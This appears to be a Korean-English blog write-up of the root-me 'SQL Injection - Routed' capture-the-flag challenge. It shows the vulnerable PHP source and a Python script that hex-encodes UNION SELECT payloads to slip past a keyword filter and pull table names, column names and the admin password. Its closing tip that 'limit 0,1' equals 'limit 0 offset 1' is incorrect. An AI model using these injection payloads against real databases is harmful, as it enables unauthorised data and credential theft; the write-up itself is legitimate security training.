본문 바로가기
HACKING_GAME/WEB

root-Me#5 SQL Injection - Routed

by asdf12345 2020. 12. 20.

root-Me SQL Injection - Routed 풀고 싶으신가요?

Do you want to solve root-Me SQL Injection - Routed?

 

 

 

레고레고

Let's make it happen~!

 

 

[ root-Me#5 SQL Injection - Routed ]

Table of contents

#0 Concept

#1 Problem

#2 How to Solve

 

 

#0. Concept

Mysql에서 select 0x31206F722074727565202D2D20 란?

Mysql에서 select 0x31206F722074727565202D2D20 의 결과는 문자열 "1 or true -- "이다.

 

#1. Problem

SQL Injection - Routed / admin 비밀번호를 찾아라.

#3. How to solve

SQL Injection 포인트 확인하고, SQL Injection 시도를 해보자.

->Search 메뉴에서 Login 란에 "admin' -- "을 입력했을때, admin과 동일한 Found ID, Email 값을 반환한다.

정상적으로 "'-- " 값이 문자열에 들어가지 않고 쿼리문에 삽입된 것을 확인할 수 있다.

 

or, and, ' union select null,null order by 1 --  등의 문자열이 필터링 돼 쿼리 삽입이 어렵다. 힌트를 보자;

아래의 코드를 실행했을 때, admin password가 정상적으로 실행되도록 해야한다.

 

소스코드는 첫번째 쿼리 실행 결과를 두번째 쿼리에 이용하여 user 정보를 반환하는 로직으로 구현되어 있다.

<?$id=$_GET['id'];
$query="SELECT id,sec_code FROM users WHERE id='$id'";
if (!$result=mysql_query($query,$conn))  die("Error While Selection process : " . mysql_error());
if(mysql_num_rows($result) == 0)       die();
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$query="SELECT username FROM users WHERE sec_code='".$row['sec_code']."'";
echo "<br><font color=red>This is the query which gives you Output : </font>$query<br><br>";
if (!$result=mysql_query($query,$conn))  die("Error While Selection process : " . mysql_error());
if(mysql_num_rows($result) == 0)        die("Invalid Input parameter");
$row = mysql_fetch_array($result, MYSQL_ASSOC);
      echo 'Username is : ' . $row['username'] . "<br>";
?>

 

 

2개의 조건만 맞추면 된다.

1. 필터링 우회를 위해 0x$(Hex String)을 이용하여 첫번째 쿼리 실행

2. 첫번째 쿼리 결과를 두번째 쿼리에 삽입되어 DB 정보 추출

 

import requests
import binascii
#y=binascii.hexlify(b'asdf')
#print(str(y,'ascii'))



origin=b"3 union select table_name from information_schema.tables limit 1 offset 1"
origin=b"4' union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1 -- "
origin=b"4' union select 1,column_name from information_schema.columns where table_name='users' limit 2,1 -- "
origin=b"4' union select id, password from users where id=3 limit 0,1-- "
payload=str(binascii.hexlify(origin),'ascii')
datas={"login":f"' union select 0x{payload} -- "}
re=requests.post(url="http://challenge01.root-me.org/web-serveur/ch49/index.php?action=search",data=datas,verify=False)

print(re.text)

 

+획득한 지식 

limit 0,1 = limit 0 offset 1

'HACKING_GAME > WEB' 카테고리의 다른 글

root-Me#7 Node.js Eval  (0) 2021.04.08
root-Me#6 Graphql  (0) 2021.01.04
root-Me#4 Revoked Token - JWT  (0) 2020.12.14
root-ME#2 Java Server-side Template Injection  (0) 2020.07.24
root-me#1 Local File Inclusion - Double encoding  (0) 2020.07.13